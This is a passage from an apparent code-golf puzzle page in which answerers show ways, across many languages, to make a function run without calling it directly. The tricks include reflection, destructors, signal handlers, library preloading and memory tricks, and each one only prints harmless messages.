    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

I'm taking advantage of a special feature of Java serialization. The readObject method is invoked when an object is deserialized, but it's not directly called - not by my code, nor by the deserialization library. If you dig deep into the source, you'll see that at a low level the method is internally called via reflection.

Answer 31

Perl

This is so easy. The code below automatically runs code in subroutine, even without explicit call.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Even if you uncomment the call, it will still be called just once.

Answer 32

C (with inline asm)

void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    _asm push the_function;
    _asm ret;
}

Answer 33

Groovy

By using an object's meta class you can override the toString method and call any method you choose in the closure. When outputting an object with System.out.print, by default the object's toString() method is called. Effectively using a standard Java function's default behaviour to execute your code, without a named call to the method.

class Job {
    String title

    @Override
    public String toString(){ title }
}

Job.metaClass.toString = { -> "Software Engineer".toUpperCase() }

def job = new Job(title:"Developer")

println job

Answer 34

Perl

In Perl, to call a method "foo" you'd normally do this:

$obj->foo($arg);

The UNIVERSAL class, which all classes inherit from (equivalent to, say, java.lang.Object in Java) provides a method called can which can be called to figure out if a class has a named method. So to find out if $obj has a method called foo, you'd do this:

if ($obj->can("foo")) { ... }

Now, Perl doesn't have a built-in boolean datatype. To indicate false, you can use undef, the number 0, the empty string, the string "0", or an object overloading boolification. I can't remember which can does... for the purposes of this answer it doesn't matter. But to indicate truth can returns a reference (pointer) to the method's code.

This can then be called, passing the object itself as the first parameter:

$obj->can("foo")->($obj, $arg);   # roughly the same as: $obj->foo($arg)

OK, let's make things a little more convoluted. The B::Deparse module can take a reference to a function and return a string of Perl code representing the body of the function. Assuming that the string didn't close over any variables (and method definitions usually don't) we can then eval that string to execute it.

The one trick we need to do first is place the arguments the code needs (including the object itself) into the global array @_. So our method call becomes this:

do {
   require B::Deparse;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);

   local @_ = ($obj, $arg);
   eval $perl_string;
};

But if we've got that code in a string, why not place it into a file and run it?

do {
   require B::Deparse;
   require File::Temp;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);
   my $perl_file   = File::Temp->new;
   $perl_file->print($perl_string);
   $perl_file->close;
   local @_ = ($obj, $arg);
   do($perl_file->filename);
};

Anyway, here's the whole thing as a script:

#!/usr/bin/env perl

use v5.14;
use warnings;

package Answerer {
   sub new {
      bless {}, shift;
   }
   sub foo {
      my ($self, $n) = @_;
      return 40 + $n;
   }
}

my $obj = Answerer->new;
my $arg = 2;

my $answer = do {
   require B::Deparse;
   require File::Temp;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);
   my $perl_file   = File::Temp->new;
   $perl_file->print($perl_string);
   $perl_file->close;
   local @_ = ($obj, $arg);
   do($perl_file->filename);
};

say $answer;

Answer 35

Ruby 1.9

c = class SomeClass

define_method(:some_method_name) {|arg|
  s = "Some method called on #{arg}"
  puts s}
end

if c === 'some class'
  puts 'Comparison of class to string succeeded, somehow'
end

Outputs "Some method called on some class". Never trust indentation. Unless it's Python.

Edit: See it live

Answer 36

C

#include <stdio.h>
#include <string.h>

int __cdecl answer () {
  return 42;
}

int __cdecl multiply (int a, int b) {
  return a * b;
}

int main () {
  memcpy(multiply, answer, multiply - answer);
  printf("%i\n", multiply(6, 9));
}

Compile with gcc -O0 -N. The -N option is an undocumented linker option that makes the .text section writable.

Your antivirus software might pick it up when you compile it.

Answer 37

Javascript

Well, there is an obvious solution in Javascript that I did not see posted. Maybe it is invalid, but I will post it anyway:

(function bla() { alert('Hello!'); })();

Answer 38

Python

>>> def foo(*args, **kwargs):
...     print "%d args, %d kwargs" % (len(args), len(kwargs))
... 
>>> foo()
0 args, 0 kwargs
>>> foo(a=1)
0 args, 1 kwargs

then

>>> def indirect(name, *args, **kwargs):
...     globals()[name].__call__(*args, **kwargs)
... 
>>> indirect('foo', 1, 2, a=1)
2 args, 1 kwargs
>>> indirect('of'[1]+'of'[0]*2, 1, 2, a=1)
2 args, 1 kwargs

Answer 39

Preloading (DYLD_INSERT_LIBRARIES) on OSX

main.c:

#include <stdio.h>

int main(int argc, char** argv)
{
    return 0;
}

lib.c:

#include <stdio.h>
static void __attribute__ ((constructor)) lib_init(void);
static void lib_init(void) {
    printf("Hi there!\n");
}

building:

$ gcc main.c 
$ gcc -dynamiclib -o preload.dylib lib.c

test:

$ ./a.out 
$ DYLD_INSERT_LIBRARIES=preload.dylib ./a.out 
Hi there!
$ DYLD_INSERT_LIBRARIES=preload.dylib whoami
Hi there!
damien

Answer 40

Java, based on the SnakeYAML logic :P

if you know how SnakeYAML serializes you know how the method is called :P

class callme
{
    public static void main(String[]a)
    {
        new org.yaml.snakeyaml.Yaml().dump(new callme());
    }
    public void setXXX(String xxx){};
    public String getXXX()
    {
        System.out.println("who called me???");
        return "";
    }
}

Answer 41

Lua

mt = {__index = function(x) print("Who ordered that?"); end}
setmetatable(mt, mt);
i = mt.nonExistantValue;

prints

Who ordered that?

The __index function of a Lua metatable is called if a table is indexed with a value it doesn't contain. i is still nil at the end of the assignment.

Bonus points for recognizing the quotation!

Answer 42

Bash

Self-modifying script

#!/bin/bash
function command_not_found_handle () {
 echo -e ""
}
function hiddentrait {
 echo "I have a superpower!"
 echo "# hidden again" >> $0
}

echo -n "hiddentrait" >> $0

And if you see the code after an execution, the hiddentrait function is not being called either, disabled by making it a bad identifier (hiddentrait#).

Answer 43

Lua

Cause its such a great language. You can test the code here.

function i() print "Hello World" end
f = setmetatable({}, { __index = _G["\105"] })
q = f[42]

This will print Hello World

Answer 44

C#

In C#, the property has an implied getter and setter

int a { get; set;}
a = 2;

This will internally call the setter method set to store the value of 2 in a. IMHO this is a shortest sample of code.

Answer 45

PHP

<?php register_shutdown_function("print_r", "Hello World!");

This code prints Hello World!.

I'm indirectly calling print_r (the rules doen't says I have to define a function, so I'm just using a native one). register_shutdown_function just calls the method when the program has ended.

Answer 46

Delphi XE3

Not sure if this is allowed but its not a direct call.
Defined a class, created it and destroyed it. The destructor isnt called directly.

type TMyType=class
  destructor Destroy;Override;
end;
var
  x:TMyType;
destructor TMyType.Destroy;
begin
  writeln('muhaha')
end;

begin
  x:=TMyType.Create;
  x.free;
end.

Answer 47

C

Involves heavy usage of #defines. You aren't calling it directly when it looks like you are calling a function called a rather than foo.

#include <stdio.h>
#define a bb
#define b cd
#define c fe
#define d ee
#define e og
#define g ho
#define h ii
#define ii o
#define ooo o

void foo() {
    printf("foo");
}
int main() {
    a();
}

Answer 48

Heres some assembly

[BITS 64]

global main

main:
    xor rax, rax    ; Set to zero
    xor rcx, rcx    ; Set to zero
    inc rax         ; increment to 1
    cmp rax, rcx
    je done         ; If they are equal, go to done

; Some function
unused_function:
    inc rcx
    cmp rax, rcx
    je main
ret             ; return from function being called

done:
ret             ; return from program

This can be compiled and run like so:

nasm -f elf64 -o file.o file.asm
gcc file.o -o file
./file

It ends up running an infinite loop. After the first cmp rax, rcx, they are not equal, and thus the program doesn't jump to done. Execution runs through to the function, which is declared below.

Answer 49

PHP

<?php

function super_secret()
{
    echo 'Halp i am trapped in comput0r';
}

function run()
{
    preg_match_all('~\{((.*?))\}~s', file_get_contents(@reset(reset(debug_backtrace()))), $x) && eval(trim(@reset($x[1])));
}

run();

This really really doesn't call the method. The backtrace is read to find out the file currently executing, we get the contents of the file as a string, then use a regex to cut the first statement out of the super_secret() method, then eval it.

The @ suppresses errors on the calls to reset(), as you're only supposed to use it on references.

Answer 50

ActionScript

In Actionscript 2 or 3 using the Flash GUI, place the function in a key frame:

// frame 2 labeled "func"
function hello() {
   trace("Hi");
   stop();
}

// frame 3
gotoAndPlay("func");

Answer 51

Java

public class Temp {
    public static void main(String[] args) throws Exception {
        Temp.class.getMethod("main", String[].class).invoke(null, new Object[]{null});
    }
}

Not calling a method explicitly, but under the Java hood.

Also posted in Weirdest way to produce a stack overflow

Answer 52

PHP 4 and up

function hello_world()
{
        echo "Hello, world!\n";
}

register_shutdown_function('hello_world');

Answer 53

Python

Python - Try and Except

 import sys
 try:
      print c 
  except NameError, SyntaxError:
      print "Oh No!"

Not sure if this is allowed. If it's not, then I will delete it.

Answer 54

C++

This program works by opening its own source file, extracting the desired function, writing it to a new source file (which prints the result), compiling it, then executing it and reading its output.

#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <string>
using namespace std;

//=== here's all our "callable" functions ===

int add (int a, int b) {
    return a + b;
}

int indexof (const char *str, char c) {
    for (int n = 0; str[n]; ++ n) {
        if (str[n] == c)
            return n;
    }
    return -1;
}

const char * addsuffix (int n) {
    static char buffer[20];
    switch (n % 10) {
      case 1: sprintf(buffer, "%dst", n); break;
      case 2: sprintf(buffer, "%dnd", n); break;
      default: sprintf(buffer, "%dth", n); break;
    }
    return buffer;
}

//=== end of "callable" functions ===

int count (const char *s, int c) {
    int n = 0;
    while (*s)
        n += (*(s ++) == c);
    return n;
}

template <typename ReturnType>
ReturnType icall (const char *fn, const char *p) {

    // generate output

    ifstream me(__FILE__);
    ofstream out("temp~.cpp");
    char line[1000];
    int infunc = 0;

    while (!me.eof()) {
        me.getline(line, sizeof(line));
        if (!strncmp(line, "#include", 8))
            out << line << endl;
        else if (!strncmp(line, "using", 5))
            out << line << endl;
        else {
            if (!infunc) {
                char *fname = strstr(line, fn);
                if (fname) {
                    infunc += 1;
                    *fname = 0;
                    out << line << "oneTrickPony" << (fname + strlen(fn)) << endl;
                    *fname = ' ';
                }
            } else {
                out << line << endl;
            }
            if (infunc)
                infunc += count(line, '{') - count(line, '}');
            if (strchr(line, '}') && infunc == 1)
                break;
        }
    }

    out << "int main () { cout << oneTrickPony(" << p << "); }" << endl;
    out.close();

    // compile output

    system("g++ temp~.cpp -o temp~.exe"); // exe suffix ok on linux

    // execute output
    FILE *res = popen("temp~.exe", "r");
    fgets(line, sizeof(line), res);
    pclose(res);

    // parse output

    ReturnType rval;
    stringstream rss(line);
    rss >> rval;
    return rval;

}

#define call(rt,fn,p...) icall<rt>(fn, #p)


int main () {

    // call functions and store results
    int resulta = call(int, "add", 14, 99);
    int resultn = call(int, "indexof", "abcdefg", 'e');
    string results = call(string, "addsuffix", 1);

    // print results
    cout << resulta << endl
        << resultn << endl
        << results << endl;

}

The icall function is responsible for doing all the dirty work; the template type is the return type and is used for parsing the output into a usable value. The call macro exists to allow us to write a variable number of function parameters to the generated source file. The calls are made in main:

  // call functions and store results
  int resulta = call(int, "add", 14, 99);
  int resultn = call(int, "indexof", "abcdefg", 'e');
  string results = call(string, "addsuffix", 1);

Requires gcc. Tested on MinGW.

Supports:

1. Any return types supported by the istream >> operator.
2. Runtime function names.
3. Any number of parameters, of any type.

Does not support:

1. Non-constant function parameters. This is a tradeoff for number 3 and also for brevity. I could add support for this by dropping the macro and using more templates, but I didn't want to add too much code to distract from the general idea.
2. Functions with void return types. A specialized icall that does not parse the returned value would allow this. Again, didn't go too crazy.

A little messy but gets the job done. It's pretty good at parsing itself but will fail under certain conditions (e.g. if a curly brace appears in a string, or the function name appears before the function in another context... I didn't really want to implement a full-on C++ parser...).

Here is an example generated file for a call to indexof:

#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <string>
using namespace std;
int oneTrickPony (const char *str, char c) {
  for (int n = 0; str[n]; ++ n) {
    if (str[n] == c)
      return n;
  }
  return -1;
}
int main () { cout << oneTrickPony("abcdefg", 'e'); }

Answer 55

C

Uses nm to read the executable and find the function address, then calls it.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

const char *me; // name of binary
int counter = 0; // just to demonstrate side-effects


// our callable functions

int itis (const char *p) {
  counter += strlen(p);
  printf("it's %s.\n", p);
  return 128;
}

int notreally (const char *p) {
  counter -= strlen(p);
  printf("i want to say it's %s, but it's not.\n", p);
  return 42;
}

typedef int (* ptr) (const char *);


// use nm to find address of function by name, then call it and
// return its return value.
int callbyname (const char *name, const char *p) {

  ptr fnptr = NULL;

  char buf[1000];
  sprintf(buf, "nm -C %s", me);
  FILE *f = popen(buf, "r");

  while (fgets(buf, sizeof(buf), f)) {
    if (strstr(buf, name)) {
      fnptr = (ptr)strtoul(buf, NULL, 16);
      break;
    }
  }

  pclose(f);

  return fnptr ? fnptr(p) : 0;

}


int main (int argc, char **argv) {

  me = argv[0];
  const char *words[] = { "awesome", "cool", "kick-ass", "the shizzle" };
  const char *names[] = { "itis", "notreally" };
  int n;

  srand(time(NULL));
  for (n = 0; n < sizeof(words)/sizeof(char*); ++ n) {
    const char *name = names[rand() % (sizeof(names)/sizeof(char*))];
    int r = callbyname(name, words[n]);
    printf("^ %i %i\n", r, counter);
  }

  return 0;

}

Compile with gcc -O0. The work is done in callbyname. The nm utility is required.

On Windows you must include the .exe suffix in the command when you run it, as argv[0] is used to determine the executable's filename.

This is basically the same as taking the address of a function, but it uses nm instead. Can be used with any function as long as it's called through the correct function pointer type.

Answer 56

AutoHotkey

Here are four distinct ways of indirectly calling a function

;built in indirect function call
funcy := Func("func2Call")
funcy.()

;register this function so that it can be called from any program, then call it as if it's a DLL
funcy := RegisterCallback("func2Call")
DllCall(funcy)

;as error handler
try
    throw
catch
    func2call()


;as default method of default base object
r.base.__Call := func("func2Call")

randomString.randomFuncName()

func2Call()
{
    MsgBox, Don't call this number ever again!!
}

Answer 57

Javascript

It's not pretty:

function myFun(arg) {
    alert("Called with "+arg);
}

// To "call" that with the argument 'toast':

var arg1 = 'toast';
eval("("+ myFun.toString() +")(arg1)");

From an unloved answer by Engineer.

We are still calling a function, but arguably not the original function - we are calling a new function we created using the source code of the original.

An alternative might be to strip the function wrapper around myFun.toString() and eval the function's body code directly, but then there are complications passing it the correct arguments.

Answer 58

Ruby

Probably it doesn't get enough attention, but in some languages we don't have methods/functions. Instead of that we have messages. Example:

send(:puts, 'Lol')

Answer 59

C

Signal handling:

#include <stdlib.h>
#include <stdio.h>

void fun(int) {
  puts("fun()");
  exit(0);
}

int main() {
  int *null = 0;

  signal(SIGSEGV, &fun);

  printf("%d", *null);
}

Answer 60

Python 3:

import reprlib

class Repr(reprlib.Repr):
    def repr_module(self, obj, level):
        return "How?"

print(Repr().repr(__import__("antigravity")))

http://docs.python.org/3.1/library/reprlib.html

Answer 61

Scala using reflection

class Shy {
  private def AhaYouWillNeverCallMe() = println("Argh you found me.")
}

classOf[Shy].getDeclaredMethods.map(
  knowledge => { knowledge.setAccessible(true);
  knowledge }).head.invoke(new Shy)

Scala using implicits

implicit def YouShouldNotWakeMeUp(i: String) = { println("Ok ok I wake up"); 1}
1/""

Answer 62

Python

import threading


def hello():
    print('Hello, world!')


threading.Thread(target=hello).start()

Answer 63

C (With GCC inline asm)

#include <stdio.h>
#include <stdlib.h>

void the_function(void)
{
    __asm__ volatile ("boo:");
    printf("Hi there!\n");
}

int main(void)
{
    __asm__ volatile ("jmp boo");
    return 0;
}

Answer 64

Bash

If you want to have a good day, just type this as the first thing when you wake up. You will never feel sad after that.

trap 'echo Hello world' CHLD

Answer 65

Dart

This calls nope() when calling the non-existing function yep().

import "dart:mirrors";

void main() {
  new Nope().yep(text:"nope");
}

class Nope {

  void noSuchMethod(Invocation invocation){
    final Symbol s = new Symbol(invocation.namedArguments[#text]);
    final InstanceMirror mirror = reflect(this);
    mirror.invoke(s, []);
  }

  void nope() {
    print("Nope!");
  }
}

Answer 66

C#

Garbage collection:

void Main()
{
    var t = new Test();
    t = null;
    GC.Collect();
}

public class Test
{
    public Test()
    {
        Console.WriteLine("Constructor called!");
    }

    ~Test()
    {        
        ImplicitCall();
    }

    private void ImplicitCall()
    {
        Console.WriteLine("ImplicitCall invoked...");
    }
}

Inheritance:

This also uses the Garbage Collector but much more implicit.

void Main()
{
    var d = new Derived();
}

class Base
{
    void Foo()
    {
        Console.Write("Foo!");
    }

    ~Base()
    {
        Foo();
    }
}

class Derived : Base
{
}

Answer 67

Java

Another Java Solution:

package callmethod;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
 *
 * @author aigon89
 */
public class CallMethod {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        CallMethod callMethod = new CallMethod();
        // Calls helloWorld without calling it :O
        Method m = callMethod.getClass().getMethod("helloWorld", null);
        m.invoke(callMethod, null);
    }

    public void helloWorld(){
        System.out.println("Hello World");
    }
}

Answer 68

Emacs Lisp

(defun hello (x) (insert "hello!"))

(let ((standard-output 'hello))
   (print "hi"))

When ran it inserts "hello!" into the current buffer 7 times, then returns the string "hi"

Answer 69

Java

Here are a few similar ideas:

toString:

public class Call {
    @Override
    public String toString() {
        System.out.println("hi");
        return null;
    }

    public static void main(final String... args) {
        String s = "foo" + new Call();
    }
}

hashCode:

import java.util.HashMap;

public class Call {
    @Override
    public int hashCode() {
        System.out.println("hi");
        return 0;
    }

    public static void main(final String... args) {
        new HashMap<Call, String>().put(new Call(), "bar");
    }
}

finalize:

public class Call {
    @Override
    protected void finalize() {
        System.out.println("hi");
    }

    public static void main(final String... args) {
        new Call();
        System.gc();
    }
}

writeReplace:

import java.io.*;

public class Call implements Serializable {
    private Object writeReplace() {
        System.out.println("hi");
        return null;
    }

    public static void main(final String... args) throws IOException {
        new ObjectOutputStream(new ByteArrayOutputStream()).writeObject(new Call());
    }
}

Answer 70

Constructors, technically, are methods. So, I can just extend a class and the super constructor is automatically called without me having it "explicitly" called in my code.

Ex:

//SampleClass.java
class SampleClass {

    public SampleClass() {
        System.out.println("Constructor called");
    }
}

---

//MainClass.java
public class MainClass extends SampleClass
{
    public static void main(String[] args)
    {
        System.out.println("Hello, World!");
        new MainClass();
    }
}

[Disclosure: Thought of it together with a friend of mine]

Answer 71

C#

Why here is a wonderful program that compiles in safe mode, uses a horribly unsafe buffer overflow treats an array like a buffer, and abuses some quirks of the CLR. This works in x86 C#. A similar exploit can be done for x64 and is left as an exercise for the reader.

[StructLayout(LayoutKind.Explicit)]
class Union
{
    public Union(byte[] bytes)
    {
        this.bytes = bytes;
    }
    [FieldOffset(0)]
    public readonly Byte[] bytes;
    [FieldOffset(0)]
    public readonly int[] ints;
}

class Program
{
    static Union u = new Union(new byte[13]);
    static Action a = ()=>Console.WriteLine("Somehow I was called?");
    static void Main(string[] args)
    {
        var f = Marshal.GetDelegateForFunctionPointer((IntPtr)u.ints[12], typeof(Action)) as Action;
        f();
        Console.ReadLine();
    }
}

The reason this works is that CLR allocates primitive struct type arrays as contiguous blocks. This is why you are allowed to cast a int[] to a uint[] via using an object first. The CLR however, will NOT allow you to normally cast a byte[] to an int[]. However, this Union class is COMPLETELY evil, and allows us to trick the CLR into treating the byte[] as an int[]. Basically we're back to pointer land now.

What's more fun is the CLR inserts a bound check on this access of the byte[] and still goes and does an access way out of the bounds of the array at this point. The executable code is located shortly after the accessible variable space. We then read it and then execute the function. This btw is horribly evil and if you do this in code I hate you.

Answer 72

C#

Similar to my previous answer but even more insane and looking a lot more like standard csharp :)

namespace WTF
{
[System.Runtime.InteropServices.StructLayout(
System.Runtime.InteropServices.LayoutKind.Explicit)]
class Union
{
    public Union(byte[] bytes)
    {
        this.bytes = bytes;
    }
    [System.Runtime.InteropServices.FieldOffset(0)]
    public readonly byte[] bytes;
    [System.Runtime.InteropServices.FieldOffset(0)]
    public readonly int[] ints;
}

class Program
{
    static Union u = new Union(new byte[133]);
    static System.Action methodToCall = () => System.Console.WriteLine("I Should be called!");
    static System.Action methodNotToCall = () => System.Console.WriteLine("But I was instead!");
    static void Main(string[] args)
    {
        u.ints[42] = u.ints[50];
        methodToCall();
    }

}
}

While the previous code used pointers which is gross, this method is far worse. Here we rewrite the content of the content of the delegate's pointer to code with the content of method not to call by seemingly assigning a random empty array element to another element. As always don't try this at home kids.

Answer 73

Javascript

!function(s){ alert(s) }("hi")

Just wondering if calling an anonymous function is call it without calling it.

Answer 74

C

I guess this is rather silly, but doesn't this fit the criteria?

#include <stdio.h>

int main(void){
    puts("Wow, nobody called me but I'm executing!");
}

Answer 75

ForceLang with the Javascript module

cons js require njs
def wr io.write
set str "Hello, World!"
js function f(a){print("Hi");return null;}
js (function(){var io=Java.type("lang.ForceLang").parse("io");var mfield=Java.type("lang.FObj").class.getDeclaredField("fields");mfield.setAccessible(true);var map=mfield.get(io);map["put"](String.fromCharCode(119,114,105,116,101),new (Java.type("lang.Function"))(f))})()
wr str

Answer 76

GNU sed

There is a beautiful way to do this in sed. In fact, when writing programs you could easily fall into this trap without realizing. I already had a post on Tips for golfing in sed documenting this feature.

s/$/bar/
s/foo/&/
t foo_found()
b

:foo_found()
p

Run: sed -nf function_call.sed <<< ""

The foo_found() function is called when a search for foo is successful anywhere in the pattern space. The first line of code writes bar into the pattern space, previously empty. However, it will also indirectly, and surprisingly, help in calling the function foo_found()!

When the first line is commented out, the function is not called, as it was meant in the first place.

Answer 77

Ruby

Prints But who was call?.

begin
  exit

  def my_method
    $>.puts "But who was call?"
  end

rescue \
  class << $!
    self
  end

  DATA.instance_eval do
    system gets
    send eval read << (read if seek $? >> 8)
  end
end

__END__
exit 13
begin

Alternatively...

include Enumerable

def each
  puts "But who was call?"
end

[*self]

Answer 78

PHP

$print=function(){print('Hello World!');}
$print('Goodbye.');

in shrinked code, it is quite easy to miss the $ before the print.

and without the variable name in the code, let´s obfuscate a bit:

for($cc=64;++$cc<91;)${chr($cc);}=chr($cc);$p=$pr;$i=$in;
${"$p$i$t"}=function(){print('Hello World!');}
$print('Goodbye.');